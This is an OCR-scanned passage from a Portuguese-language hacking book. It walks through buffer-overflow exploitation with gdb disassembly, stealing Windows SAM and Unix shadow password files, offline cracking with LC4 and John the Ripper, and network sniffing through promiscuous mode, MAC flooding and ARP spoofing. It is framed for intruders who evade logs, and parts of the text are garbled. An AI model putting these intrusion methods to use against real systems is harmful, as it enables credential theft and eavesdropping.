Note que este procedimento bem parecido com a injeo de SQLque vimos no captulo Vulnerabilidades 11. Usamos um campo acessvel externamente pelo usurio - no caso do SQL, um campo em um formulrio; aqui, uma varivel solicitando dados - e injetamos nele os comandos pertinentes. Falamos em cdigo de mquina, no ? Aqui temos o grande pulo-do-gato dos exploits que se aproveitam do buffer overflow de algum programa mal escrito. Ns queremos ganhar um shell no sistema, e isso depende do sistema operacional. O programa que oferece o shell num Solaris no o mesmo de um MacOS que no o mesmo no Windows... Por outro lado, para chamar esse shell temos que colocar um cdigo de mquina no buffer, o que quer dizer que temos que fazer um exploit para cada dupla SO+Hardware existente. Um exploit para Linux em Alpha no o mesmo que um para Linux em i386 (os PCs comuns). o mesmo sistema operacional, mas no o mesmo processadot. Por outro lado, um PC rodando Windows 2000 vai precisar de um exploit diferente do que um Solaris rodando no mesffissimo Pc. o mesmo processador, mas no o mesmo SO. Mesmo considerando que estamos usando o mesmo programa bugado (por exemplo, o interpretador de PerI de cada um dos SOs) o exploit desse programa vai ser diferente em cada combinao SO+HW Para fms didticos, vamos nos ater ao PC e ao Linux. Vamos "desassemblar" nosso programinha com o gdb:
$ gdb idiota *** mensagens diversas *** (gdb)disass main Dump of assembler code for function main: Ox8048464 <main>: push %ebp Ox8048465 <main+l>: mov %esp,%ebp Ox8048467 <main+3>: sub $Ox8,%esp Ox804846a <main+6>: cal1 Ox8048430 <funcao_idiota> Ox804846f <main+ll>: add $Oxfffffff4,%esp Ox8048472 <main+14>: push $Ox8048520 Ox8048477 <main+19>: cal1 Ox8048334 <printf> Ox804847c <main+24>: add $OxlO,%esp Ox804847f <main+27>: xor %eax,%eax Ox8048483 <main+31> Ox8048481 <main+29>: jmp Ox8048483 <main+31>: leave Ox8048484 <main+32>: ret Ox8048485 <main+33>: lea OxO(%esi,l) ,%esi Ox8048489 <main+37>: lea OxO(%edi,l) ,%edi End of assembler dump. (gdb)
cal1
Ox8048430 <funcao_idiota>
260
Ataque,
defesa
e contra-ataque:
Invaso
Universidade 3ano
Desenferrujando um pouco nossos conhecimentos de assembler, lembramos que a funo call chama uma outra funo qualquer residente no endereo especificado. Como em linguagem de mquina no d pra atribuir nomes s subrotinas, o sistema tem que saber exatamente onde na memria elas esto. No comeo da listagem, observe que a funo main inicia na posio de memria Ox8048464 e instruo call chama uma subrotina que se encontra em
Ox8048430. Vamos dar agora uma olhada na funo funcao_idiota(
):
(gdb) disass funcao_idiota Durnpof assernblercode for function funcao_idiota: Ox8048430 <funcao_idiota>: push %ebp Ox8048431 <funcao_idiota+l>: rnov %esp,%ebp Ox8048433 <funcao_idiota+3>: sub $Ox18,%esp Ox8048436 <funcao_idiota+6>: add $Oxfffffff4,%esp Ox8048439 <funcao_idiota+9>: lea Oxfffffff8(%ebp) ,%eax Ox804843c <funcao_idiota+12>: push %eax Ox804843d <funcao_idiota+l3>: call Ox8048304 <gets> Ox8048442 <funcao_idiota+18>: add $Oxl0,%esp Ox8048445 <funcao_idiota+2l>: add $Oxfffffff8,%esp Ox8048448 <funcao_idiota+24>: lea Oxfffffff8(%ebp) ,%eax Ox804844b <funcao_idiota+27>: push %eax Ox804844c <funcao_idiota+28>: push $Ox8048500 Ox8048451 <funcao_idiota+33>: calI Ox8048334 <printf> Ox8048456 <funcao_idiota+38>: add $Oxl0,%esp Ox8048459 <funcao_idiota+41>: jrnp Ox8048460 <funcao_idiota+48> Ox804845b <funcao_idiota+43>: nop Ox804845c <funcao_idiota+44>: lea OxO (%esi, 1) , %esi Ox8048460 <funcao_idiota+48>: leave Ox8048461 <funcao_idiota+49>: Ox8048462 <funcao_idiota+50>:
End of assernbler durnp. (gdb)
ret rnov
%esi,%esi
Olha s! O call da funo main() chama exatamente tro da funo idiota, a linha Ox8048461<funcao_idiota+49>: ret
a funcao_idiotaO.
Den-
mostra a instruo assembler de retomo (ret). Essa instruo vai usar o ponteiro de retomo para voltar ao main. Chegamos ao ceme da questo dos exploits por buffer overflow. Trocando em midos, voc precisa: 1. Descobrir uma varivel do tipo buffer que esteja vulnervel; 2. Verificar, no cdigo fonte ou por tentativa e erro, os endereos onde as chamadas de funo esto, bem como o endereo que marca o incio do buffer da varivel;
3.
no buffer, contendo
1261 I
I
Invaso
I Universidade
H4CK3R I
instrues para nos dar um shell, e depois "estufe" a pilha at atingir a posio do ponteiro de retorno, l colocando o endereo do incio do buffer. Um exemplo, em Unix, seria uma rotina que, atravs da funo execve( ) chamasse um shell. execve( ) uma chamada de sistema que simplesmente permite executar um arquivo binrio externo ao programa. Que beleza! De dentro de nosso exploit, executamos Ibin/sh !!!O shell executado no usurio do programa vulnervel. Se for, por exemplo, no Apache, ganharemos um shell do usurio nobody. O que hackers mais gostam, nessa hora, so programas vulnerveis rodando com SUID...Mas isso outra histria (v l e pesquise!). No Windows, programas vulnerveis rodando com privilgio System so um perigo! Acesso total mquina. Para explorar um buffer overflow, geralmente faz-se chamadas a funes de DLLs acessveis pela aplicao vulnervel. Dica para estudo de execuo arbitrria de comandos no Windows: WININET.DLLe o prprio MFC.DLL.Novamente, mexa-se... No vamos nos aprofundar mais, pois no est no escopo do livro entrar muito fundo nas entranhas de nenhum assembler. Para comear, um belo texto para iniciantes em buffer overflows (mixter.void.ru/exploit.html). Para saber mais, recomendo a leitura dos whitepapers da Fatal 3rror (struck.8m.com/G), o excelente texto de Dark Spyrit sobre buffer overflows no Windows (community.core-sdi.com/-julianolbufo.html) e o estudo que comeou tudo isso: "Smashing the stack for fun and profit", do lendrio Alephl, lanado na edio 49 da ezine Phrak em 1996 e disponvel online no endereo www.insecure.org/stf/smashstack.txt. Outro white-paper digno de nota: como explorar servios avanados com estouros de pilha, indo muito alm de conseguir um shell.Taeho Oh nos mostra em postech.edu/-ohhara (ou, alternativamente, em ohhara.sarang.net/security/ adv.txt) como furar firewalls baseados em ftltros de pacotes, abrir sockets (e, portanto, backdoors) no prprio exploit e libertar-se da priso do chroot4. Se voc quer realmente conhecer a fundo todos os meandros dos estouros de pilha (nos quais 99% dos exploits existentes so baseados), recomendo, novamente, parar a leitura do livro e estudar os sites indicados. Lembre-se, o Google seu amigo... Desnecessrio dizer que pr-requisito para isso saber alguns fundamentos de C e Assembler. Apesar de alguns dizerem que no, as linguagens Pascal (e portanto o Delphy/Kylix tambm) e Basic (Visual Basic, Thrbo Basic, Quick Basic,...) e mesmo novas linguagens como C++, C# e Java tambm padecem do mesmo mal. As formas de explorar os estouros nessas linguagens so diferentes, mas ainda assim a vulnerabilidade existe.
4. Chroot , simplificando a definio, uma maneira de "enjaular" uma aplicao que precise de direitos de superusurio para rodar. Normalmente, instala-se a aplicao em um diretrio que possui uma cpia do sistema de arquivos do sistema oper.acional, mas no o sistema de arquivos verdadeiro. Nesse ambiente falso, a aplicao roda com pseudo-direitos de root, que s valem dentro do ambiente.A aplicao fica feliz em ser enganada e roda perfeitamente. Se um hacker invadir essa mquina por meio de um buffer overflow da aplicao em chroot, vai conseguir, no mximo, o mesmo superusurio falso que a aplicao usa.
2621
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
5. "Quando o dia destri a noite / a noite divide o dia / tentei correr, tentei me esconder / mas agora atravesso para o outro lado". Break on through [to the other sidej. Do lbum The Doors, de 1967.
12631
I Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
instalado...), MS SQL Server, CGls diversos... Todos eles podem ser explorados para oferecer mais controle. At que se chega em algum usurio ou programa que d acesso linha de comandos com os privilgios do grupo System (o "root" do Window NT).A dica, neste caso, fica por conta de exploits sucessivos (para ganhar cada vez mais poder) em direo a alguma DLLdo prprio Kernel. Se voc leu o captulo sobre Plataformas Windows, aprendeu que vrias partes do kernel rodam em User Mode. Algumas, mesmo assim, rodam com privilgios do grupo System. 2+2... Embora seja efetivo e fcil, depender de exploits pode deix-Io "na mo" em sistemas bem configurados e, principalmente, atualizados. H, entretanto, formas alternativas de ganhar acesso a outras contas. A quebra de senhas , seguramente, a mais usada.
2641
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
1. Pega a prxima palavra do arquivo de dicionrio; 2. Insere esse nome no programa de login do sistema; 3. Pega a primeira palavra do arquivo de dicionrio; 4. Insere como senha no programa de login do sistema; 5. Pega a prxima palavra do arquivo de dicionrio; 6. Insere como senha no programa de login do sistema; 7. Volta ao passo 5 at que todas as palavras tenhas sido usadas; 8. Volta ao passo 1 at que todas as palavras tenhas sido usadas. fcil implementar isso, por exemplo, com os programas login ou su do Unix em um shell script. Mas h um problema:VOC ESTSENDOVlGIADO!!! Todas as tentativas malsucedidas de login estaro sendo registradas nos logs do sistema. Como voc ainda no tem privilgios de root, seria impossvel apagar tais rastros. Esta, portanto, no a melhor maneira de tentar entrar. H uma, entretanto, fantasticamente simples e muito mais segura: o roubo do arquivo de senhas e posterior decifragem dos hashes. imperativo no ser descoberto. Portanto, a metodologia usada pela maioria dos crackers obter o arquivo de senhas do sistema e tentar quebr-Ias, off1ine, em casa. Pode-se usar diversos computadores ligados em c1usters - muito fcil fazer em casa, com Unux, supercomputadores com cinco ou seis 486s e mesmo 386s obtidos do lixo - e os programas quebradores de senhas j citados - LOphtCrack e John the Ripper. Uma nica mquina rodando Windows NT com o LOphtCrack j algo considervel: mesmo que demore um ou dois meses para conseguir alguma senha usvel, tempo o que o hacker mais tem. E, trabalhando em casa, o seu trabalho no ser detectvel.
1265 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
Para o passo 1, devemos de alguma forma "chupar" os hashes dos usurios contidos no banco de dados SAM, normalmente guardado no registro em HKEY_LOCAL_MACHINE\SECURlTY\SAM\Domains\Account\Users (achou que no amos dizer a chave?). Para tanto, podemos usar um utilitrio do prprio LC4, chamado pwdump. Outro programa que rouba as senhas do SAM o pwdump3. Originalmente desenvolvido por Jeremy Allison and Todd Sabin, hoje mantido por uma empresa, a PoliVec. Embutido em seu produto multiuso de segurana PoliVec Scanner, o pwdump3 (www.polivec.com/pwdump3.html) permite que as senhas sejam recuperadas inclusive remotamente, pela rede (incluindo a Internet). Uma terceira opo um utilitrio que acompanha o pacote de servidores 5MBpara Unix, o Samba (www.samba.org).Junto com o produto est includo um programinha chamado (olha que original...) pwdump, que extrai o SAM database e o transforma em um arquivo de senhas do Samba (smbpasswd) vlido. Mais informaes sobre ele podem ser obtidas em us1.samba.org/samba/ftp/pwdump/ . Nos trs casos, gera-se arquivos de senhas que o LC4 pode interpretar. Nos trs casos, tambm, precisa-se de privilgios de Administrador para rodar o programa. Esse obstculo, apesar de complicado, ainda assim contornvel. H diversas maneiras de faz-Io:rodando o programa na mquina alvo atravs de um exploit, rodando o programa em uma mquina de senhas fracas com relaes de confiana com a mquina alvo, fazendo invaso fsica no local onde a mquina est... Uma vez conseguido o arquivo de senhas, passemos ao passo 2. Desconectese completamente da rede a ser invadida e rode, em casa, o LC4 contra seu arquivo. H uma farta documentao includa com o prprio produto, portanto no vamos detalh-Io aquLA figura a seguir mostra um processo de cracking em andamento, com algumas senhas j descobertas:
G.om
-. 2661
iIomIh .......
- -"-y"
~
Od0h1ln!& OdOh'm,*,
0.1 """"52>
OdOhOrn..
-. ,,,..
"'''''''''" !,,,.."u..
mmJ~
_r 'AS"A"""''''
1'rl??1/>.
mmn mm?RGS3
, "-"
bobofett
OdOhlm1o!<
"'-
0.1""......
Universidade 3ano
Observe: como vimos nos captulos sobre Vulnerabilidades, as contas no WinNT so guardadas em 2 hashes: um para o antigo Lan Manager e outro com a senha mais forte do NT.Alm do 1M Hash ser mais fcil de quebrar, normalmente os usurios usam a mesma senha localmente (NTLM). O prprio Lc4 sabe disso e, uma vez conseguida a senha LM, interrompe o brute force e tenta a mesma senha no NT.Como voc pode ver na figura, vrias senhas j esto descobertas e, no exemplo, TODAS so iguais nos dois campos. O usurio shennesy parece gostar do seriado Star Treck e o usurio djattan parece no estar muito contente com seu local de trabalho - com um pouco de engenharia social, o hacker nem precisaria do Lc4. O usurio Guest no possui senha (glup!). A figura anterior foi retirada de um estudo de Dan Smith, na Universidade da Carolina do Norte, EUA,e pode ser encontrado em www.unc.edu/-smithdr/ inls187/sr.htm1 . O estudo, alm de analisar o software, traz dados sobre tempo para quebrar senhas de todos os tipos, fracas ou teoricamente seguras. Por ltimo (passo 3), teste todas as senhas que conseguiu no sistema invadido. possvel que algumas estejam trocadas, mas voc j sabe, pelo menos, o nome dos usurios vlidos e o padro que eles usam para elaborar suas senhas. Por exemplo, a conta Administrator mostrada possua uma senha BARNABAS09. As chances esto entre 80% e 90% de que, nos prximos meses, ela seja BARNABASlO, BARNABASll...Acho que o leitor j "pescou" o mecanismo!
No passo 1 temos os mesmo problemas que tivemos com o Wmdows. Como vimos no captulo sobre PlataformasUnix, os sistemas modernos utilizam o sombreamento de senhas, que consiste em separar o processo de login em dois arquivos: o /etc/passwd (que contm informaes gerais sobre o usurio, como nome, login, GID,UID,diretrio ;home e shell inicial) e o /etc/shadow (que contm as senhas criptografadas). Como o /etc/passwd tem que ser legvel por todos, os hashes ficariam desprotegidos se ficassem a. O arquivo /etc/shadow, ao contrrio, legvel e editvel apenas e to somente pelo superusurio, o root. Se o sistema invadido possuir sombreamento de senhas, voc s conseguir roubar o arquivo /etc/shadow se estiver em um shell root. Se o sistema invadido no possuir sombreamento, o "administrador" j deixou metade do servio pronto para voc...6
6. Mesmo que o sistema possua password shadowing, voc ainda ter os nomes vlidos de contas.
I 267 I
Invaso
IAtaque,
defesa e contra-ataque:
I Universidade
H4CK3R I
Encontrar e aplicar um exploit que lhe d acesso a root a forma mais direta para conseguir o arquivo de shadow. Outras formas incluem: 1. Fazer core dumps de programas SUlD root que acessem as senhas (como o FTp' o SSH ou o Telnet); 2. Verificar no arquivo passwd qual dos usurios tm "pinta" de ad mistrador - possvel que ele possua programas SUlD em seu !home. Uma vez descoberta a senha, chegamos ao passo 2. Basta rodar o ]ohn the Riper de acordo com o configurado e esperar. No final, uma lista de senhas vlidas (possivelmente a do root tambm) ser encontrada. O passo 3 trivial: volte cena do crime e use as senhas. Nada como logar-se como um usurio autorizado para despistar as auditorias de invaso...
12681
Universidade 3ano
bes e muitos links para outros recursos. O site www.blackbeltjones.com tambm tem diversos recursos. Um artigo sobre o assunto pode ser encontrado na Meca do wireless, o site 802.11 Planet (www.80211-planet.com/columns/ artic1e.php/140240n.
.
1269 I
I
Invaso
I Universidade
H4CK3R I
Dois softwares que trabalham como proxy baseados no desktop podem ser usados para facilitar a manipulao de Cookies (e de cabealhos HTTP tambm!): so eles o Achilles e o BrowseGate. A empresa que produz o Achilles (DigiZen Security Group - www.digizen-security.com) parece ter retirado o site do ar, mas descries sobre o produto podem ser encontradas no PacketStorm (packetstormsecurity.nl/filedesc/achilles-O-27.zip.html) e no SecuriTeam.com (www.securiteam.com/tools/6LOOR200KA.html). O BrowseGate, desenvolvido pela NetCPlus (www.netcplus.com/ browsegate.htrnl) outra opo de Proxy Server que pode ser usada de maneira malfica para torcer cookies e autenticao em sites. H uma anlise dele em www.webattack.com/getlbrowsegate.shtml. Para todos os problemas listados, possveis solues podem ser encontradas no site oficial sobre segurana em sistemas web: www.owasp.org.
Universidade 3ano
nha. A ferramenta escutar a rede e gravar tudo o que for de interesse em um arquivo. Depois de algum tempo (alguns dias ou semanas) o hacker voltar ao local do crime apenas para recuperar o arquivo com o tesouro, o qual analisar em casa, desconectado. H uma forma mais perniciosa de usar o sniffer: coloc-Io em um gateway entre redes. Como vimos nos captulos pertinentes, um gateway um equipamento que une duas ou mais redes diferentes de forma a passar pacotes entre elas quando aplicvel. Um sniffer colocado num gateway pode escutar, ento, o trfego de todas elas.
Na prtica, como a maioria esmagadora dos gateways ligam sua rede interna Internet, o que o invasor tem disposio tanto seu conjunto potencial de senhas e informaes confidenciais quanto os e-mails, senhas, informaes e cartes de crdito que entram e saem de sua empresa. Imagine, num cenrio ainda mais tenebroso, que um hacker plantou um sniffer em um gateway que liga sua empresa ao seu site de comrcio eletrnico, ou operadora de cartes de crdito, ou a seu parceiro, ou ao banco. Fatal! A primeira providncia quando se vai farejar uma rede colocar a interface de rede de alguma mquina em modo promscuo. Como vimos nos captulos Redes I e 11,quando um pacote IP chega em uma rede, a interface que detm o pacote pergunta: "qual o MACAddress que contm o endereo IP desse pacote"? A mquina destino responde com seu MACAddress e o pacote enviado a ela. Esse o conhecido protocolo ARP. "Enviado a ela", como escrito no pargrafo anterior, ligeiramente mentiroso (ou, como dizia um pastor luterano que conheci, um "exagero da verdade"). O pacote , na verdade, jogado no barramento e todas as interfaces podem ler. O que ocorre que as interfaces fazem "ouvidos moucos" ao pacote, caso este no seja direcionado a elas. Apenas a mquina a que realmente se destina "presta ateno" ao que est trafegando na rede. As outras simplesmente ignoram-no. aqui que entra o "modo promscuo". Uma interface configurada dessa forma "ouve"TODOSos pacotes que trafegam na rede, e no apenas os que so destinados
I
271
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade H4CK3R I
a ela. Se isso um facilitador para a implementao de ferramentas de monitorao de rede - coisaque todo administradorcompetente deveriausar - tambmpossibilita que algum com ms intenes facilmente escute o que no devia. Para colocar uma interface de rede em modo promscuo, deve-se ter acesso privilegiado ao sistema operacional - o que equivale a dizer root em um sistema Unix, Administrator em um sistema WinNT ou Admin em um Novell Netware. Por isso mesmo, tomar completamente pelo menos uma mquina na rede (como vimos anteriormente) imperativo para que possamos fazer uma "colheita" posterior. H diversas formas de colocar uma interface de rede em modo promscuo. H programas especiais para isso em qualquer plataforma e mesmo alguns truques no sistema operacional (seja ele Windows, Novell, HPUX...) so possveis sem o auxlio de qualquer programa externo. Todo sistema operacional possui uma ferramenta qualquer que mostra o estado e altera as configuraes da placa de rede. Tomando como exemplo um sistema GNUlLinux, o comando que faz esse trabalho para ns o ifconfig. Emitido (como root) sem argumentos, o comando mostra o estado de todas as interfaces de rede. Emitido seguido do nome de uma interface, d o estado atual dessa interface. Por exemplo, para saber a quantas anda a primeira interface de rede (ethO), o comando seria:
# ifconfig ethO
o resultado seria:
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95 inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Mtrica:1 RX packets:13567 errors:O dropped:O overruns:1 frame:O TX packets:8300 errors:O dropped:O overruns:O carrier:O co1ises:0 RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)
Observe as informaes mostradas. Voc sabe, por meio desse comando, que o encapsulamento do link (ou seja, o protocolo de camada 2) Ethernet, que o MAC 00-08-74-B5-64-95,que o endereo de rede 192.168.1.11, que o tamanho mximo do pacote Ethernet (MTU) de 1.500 bytes, etc... H tambm alguns flags que indicam se a interface est pronta ou "em p" (DP), se est rodando (RUNNING) e se responde a broadcast ou multicast. Agora vejamos o que acontece com o comando abaixo:
# ifconfig ethO promisc
Aparentemente, nada acontece. O shell nos devolve o prompt e nenhuma mensagem de erro ou de tarefa conlcuda mostrada. Mas, se emitirmos novamente o comando ifconfig ethO, o resultado seria um pouco diferente:
12721
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95 inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Mtrica:1 RX packets:13567 errors:O dropped:O overruns:1 frame:O TX packets:8300 errors:O dropped:O overruns:O carrier:O colises:O RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)
Bingo! Observe que a placa agora est em modo promscuo (flag PROMISC). Absolutamente TUDO o que est trafegando na rede interpretado pela pilha TCP/lP do kemel e pode, portanto, ser monitorado. Isso inclui pacotes no direcionados a essa mquina.
Sniffing passivo
As redes locais normalmente se utilizam de equipamentos chamados hubs (captulos Redes I e lI) para facilitar e flexibilizar a conexo de novas mquinas a uma rede existente. O hub age ainda como um elemento regenerador do sinal eltrico presente no barramento de rede. Mas o hub um elemento passivo no tocante a controle do trfego na rede local. Hubs e repetidores so equipamentos que trabalham na camada 1 do modelo OSI, portanto no tm controle algum sobre o quadro Ethemet (ou qualquer outro protocolo de camada 2 como Token Ring, PPp, Frame Relay ou X.25). Isso significa que uma mensagem enviada de uma mquina para a outra ser ouvida por todas na rede. fcil perceber, no desenho acima, que se a mquina A enviar uma mensagem para a C, as estaes B, D e H ainda estaro "ouvindo". Portanto, apesar da aparncia de estrela, uma rede que se utilize de um hub para interligar as mquinas , na realidade, um barramento. Conclumos que muito fcil para um sniffer registrar e decodificar tudo o que trafega nessa rede. Como trabalha com interfaces em modo promscuo, todos os pacotes da rede podem ser interpretados. Mas e se a rede estiver segmentada com bridges ou switches?
1273 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
No captulo 2 (Redes I) vimos en passant a descrio desses equipamentos. Uma bridge divide a rede em dois segmentos e bloqueia trfego no destinado cada um deles.
'X
Bloqueadopela Bridge
Observe: as mquinas A e B esto no segmento 1, enquanto C e D no segmento 2. Isolando os dois, uma bridge. O trfego de A para B e de B para A fica restrito ao segmento 1, e o trfego de C para D e de D para C fica restrito ao segmento 2. A bridge bloqueia o trfego local, no deixando que mensagens no endereadas a um barramento em especial cheguem nele.
Bridge
Deixa passar
Entretanto, se a mquina C quer enviar uma mensagem para a mquina A, a bridge deixa passar o pacote.
12741
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
A determinao de quais pacotes devem passar e quais devem ser bloqueados dinmica, baseada nos endereos MAC das interfaces de rede. No momento que uma bridge ligada, ela no tem nada na memria. medida que as estaes vo enviando pacotes para a rede, a bridge guarda os MACAdresses
numa tabela, relacionando-os
~~
com o segmento de onde pa~~. cote se originou. Note que o tudo se passa na camada 2 do modelo OSI:a bridge s tem conhecimento das mquinas ligadas diretamente em sua rede local. Imagine, agora, um hub que possusse uma bridge em cada porta. Cada mquina da rede receberia apenas trfego destinado a si. Esse "monstrengo existe e se chama comutador ou switch.Observe: assim como em nosso primeiro exemplo, a estaoA quer enviar uma mensagem para a estao B.Devido ao switch, nenhuma das outras mquinas ir escutar o que A tem a dizer.Alm disso, C poderia falar com E simultaneamente, pois a rede est, para elas, ociosa. Uma rede com um switch no lugar de um hub, alm do controle e diminuio do trfego, tambm ofereceria uma segurana adicional rede, uma vez que um sniffer instalado, por exemplo, em D no poderia escutar nada das conversas entre A e B ou C e E. O uso de bridges e switches, ento, minimizaria o problema dos sniffers, certo? Infelizmente, mais uma vez, a resposta no...
~
..
---
. .
Sniffing ativo
Um switch ou bridge possui uma tabela que relaciona os MAC addresses que "ouviu" na rede com as portas ou segmentos nos quais foram "ouvidos". Como preenchida dinamicamente, essa tabela ser atualizada toda vez que uma nova mquina for conectada rede. Como dizia um parente meu (ilustre, mas iletrado), "tudo o que demais em demazia" (sic). A memria do switch possui um tamanho limitado, portanto um nmero muito grande de interfaces de rede ligadas em cada uma das portas poderia, num caso extremo, preench-Ia completamente. Pensando nisso, os fabricantes desses equipamentos as dimensionam para que esse limite nunca seja atingido. O problema que um quadro Ethemet nada mais do que uma seqncia de uns e zeros que pode, por isso mesmo, ser manipulada. Um programa cuidadosamente escrito poderia gerar, ad infinitum, frames Ethemet com MAC adresses aleatrios e, em alguns minutos, preencher completamente a memria do switch. Como o show no pode parar, esses equipamentos podem comear a repassar mensagens indiscriminadamente para todas as portas. Essatcnica chamada de MACFlooding.
1275 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
Uma vez nessa situao, qualquer sniffer poder farejar a rede. H ferramentas que fazem isso (uma delas, escrita em PerI, pode ser encontrada www.safenetworks.com/ em
Others/~com4.html), mas os sniffers mais modernos (como o ettercap e o dsniff) todo o trabalho. Felizmente j fazem
(ou infelizmente,
dependendo dos intentos do estimado leitor), alguns swii:ches so imunes ao MAC Flooding. H vrias maneiras de implementar switches assim. Podem ser usados algoritmos de proteo que impedem que a memria seja completamente preenchida. Ou ento um sistema de deteco de flood, baseado em padres de dados e um knlowledge base dos sniffers conhecidos. Uma terceira maneira seria adotar uma poltica de persistncia, mantendo MACs conhecidos h mais tempo em detrimento de novas interfaces, caso a memria lote. Para contornar esse inconveniente, os hackers desenvolveram uma tcnica chamada ARP Spoofing. uma tcnica um pouco mais complicada, mas muito inteligente. Em vez de trabalhar apenas na camada 2 (Ethernet) o invasor vai confundir o computador cujo trfego se deseja "esnifar" manipulando sua tabela ARP. O ARP, como discutido anteriormente, um mecanismo de traduo IP-paraMAC. A mquina que quer enviar o pacote pergunta, na rede: "Quem tem o IP tal"? Todas as mquinas IP responde: daquele segmento ouvem a pergunta,
IP= 1 O.O.OA MAC=ww.ww.ww
mas apenas a
IP=10.0.0.1
MAC=xx.xx.xx
MAC
disso, a interface de origem monta um quadro Ethernet e o envia ao destino. O ARP Spoofmg uma maneira de enganar a mquina da vtima, fazendo-a acreditar que o endereo MAC da mquina onde o sniffer est corresponde ao endereo IP da mquina-destino original. Complicado? Sim, . Vamos tentar exemplificar:
Configura H
CD
12761
Ataque, defesa e contra-ataque: Invaso
Universidade 3ano
No diagrama mostrado, a estao A quer falar com a estao B.A partir da estao H, um hacker quer farejar a comunicao entre A e B. Para isso, necessrio uma preparao prvia. A primeira coisa que o hacker deve fazer configurar seu sistema operacional de H para repassar todo e qualquer trfego que chegue para si, vindo de A, para a verdadeira mquina destino, que B. A configurao do IP forwarding normalmente feita pelo prrpio sniffer, mas possvel que em alguns casos seja necessrio faz-Io manualmente. Tanto Windows quanto Netware e tambm qualquer Unix permitem esse tipo de redirecionamento. Lembra-se daquele mapa da rede, feito com ping+traceroute (ou com o Cheops)? Ele ser muito til agora. O segundo passo enganar a mquina A, fazendo-a acreditar que o IP de B possui o MACde H. Isso conseguido fazendo H enviar um nmero monstruoso de respostas ARP para A, informando que o IP de B possui o MACde H - respostas essas que sequer foram solicitadas. Depois de um certo tempo, A "pensa" que, para mandar mensagens para o IP de B, tem que construir quadros Ethemet direcionados ao MACde H. Agora s ativar seu sniffer preferido e esperar. O trfego vindo de A em direo a B vai passar por H antes. Nem A nem B vo desconfiar disso, pois, para eles, a comunicao apenas entre os dois. Esse tipo de configuSniffer Ativo: ao! rao de ataque normalmente chamado de "man in the middle".
12771
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
# tcpdump
[opes]
Uma verso do tcpdump para Windows pode ser encontrada em windump. polito.it.
JPT raf TCPConnections (SOU''C8 Host :Por.t) r-I--65-71-187-100.dsl.d<C\P<...:358E mflj-bocd..ozmo.mo,1214 [68.10.252.64.sret.oot,3676 mflj-bocd..ozmo.mo,1214 rlXPOl238"108pcs. frsrc101..i.moca,1214 mflj-bocd..ozmo.mo'l176 [ool"18ba()fc2.~."'tmlire.net'l~ 208.100.255.153,2019
e16.49.88.~00:www 61.9.18.19.1298
P"ckets B~tes F1""s > 844 > 511 1263J48 26374 --A--A> 651 962504 > 465 21816 --A--A> > > > 515 390 316 225
4 7 199 193
~ IPTraf (iptraf.seul.org ), O av de todos os sniffers Unix, ainda pode ser efetivamente usado em uma sesso de sniffing. Apesar de sua idade, recursos poderosos. J Vale a pena dar uma conferida. Uma de suas vantagens que, comum I como o tcpdump, ' encontr-Io j instalado - pou! pando trabalho, recursos e no levantando suspeitas.
=
=
fmo ~4
pcO:H>acd..ozmo.mo'3329
rserver13.icinternet.coo:www TCP: 189entr'ies
I possui
fk:tive
Ib1-IP (M)
(162 ~)
to 0180c200000000 ethO
~~~(JIT~f'f:'
frn-IP (M) ,,~IP (M) (13O~) (~-~)
fmo ~ fmo ~
(~T:Er~~~~~~:~f~~f~'i
to 01~
~ Ethereal (www.ethereal.com). um sniffer poderoso, que suporta vrios protocolos, marca-os com cores diferentes e interpreta seus significados. Possui uma interface grfica muitssimo amigvel. mais usada por administradores, mas til tambm para crackers malintencionados. Disponvel para Windows e Unix. Os autores recomendam.
ff:ff: ff: ff: ff: ff bam.zing.or" 192.168.0.1 bam.zing.org slashdot.org b"nqing.arg slashdot.org slashdot.org bam.zing.org 11 12 13 14 15 0.29"019 0.294194 0.298fi41 0.370983 0.372207 bam.zing.org slashdot.org bam.zing.or9 slashdot.org slashdet.erg ,:"~",i~MM
51 ashdot.org bam.zing.org slashdot.org bam.zing.erg bam. zing. org d25.hoo"or" TCP HTTP TCP HTTP HTTP Ten
Who has 192.1&8.0.1? Tel1 192.168.0.2 192.168.0.115 at OO:eO:29:68:8b:fb Standard query A 51 ashdot. org Standard query rasponse A 64.28.67.150 2741 > 'li"'! [SVN] Seq~195095a524 Ak=O Win-321 'li"'! > 2741 [SVN, ACK] Seq-1976068085 Ack-1950 2741 > 'li"'! (ACK] Seq-1950958525 Ack-197G680E GET / Hm/1.1 'li"'! > 2741 IACK] Seq-1976068086 Ack-19509591E GUJIfJi"-"'." 2741 > 'li"'! [ACKJ Seq-1950959165 Ack=19760695, Conti nuati on 274.1 > 'li"'! [ACK] Seq-1 9509591 65 Ack-197607098 Conti nuati on Conti nua,ti on
ltI Frame10 (1514on wire. 1514<aptured) ltI Ethe rnet II ItIInternet Pretocol. Src Addr: slashdot.org (64.28.67.150). Ost Addr: bam.zing.org (192.168.0.2) HlTran5mission Control Protocolo Src Porto 'li"'! (80), Ost Porto 2741 (2741). Seq: 1976068086. Ack: 1950959165. S Hypertext Trahsfer protocol HTTP/1.1 200 OK\r\n Date: Wed, 02 ]an 2002 00: 52: 37 GI>If\r\n Server: Apache/1.3.20 (Unix) mod_per1/1. 25 mod_gzip/1. 3.1 9.1 a\r\n X-Power.d~By: Slash 2.003000\r\n X-Bender: In the event ef ao emergency. my a5S <an be used as a flotation device. \r\n
Len:
2781
Ataque, defesa e contra-ataque: Invaso
Universidade 3ano
7'",,,",,
O"""",,,
"""" "'",,,,,
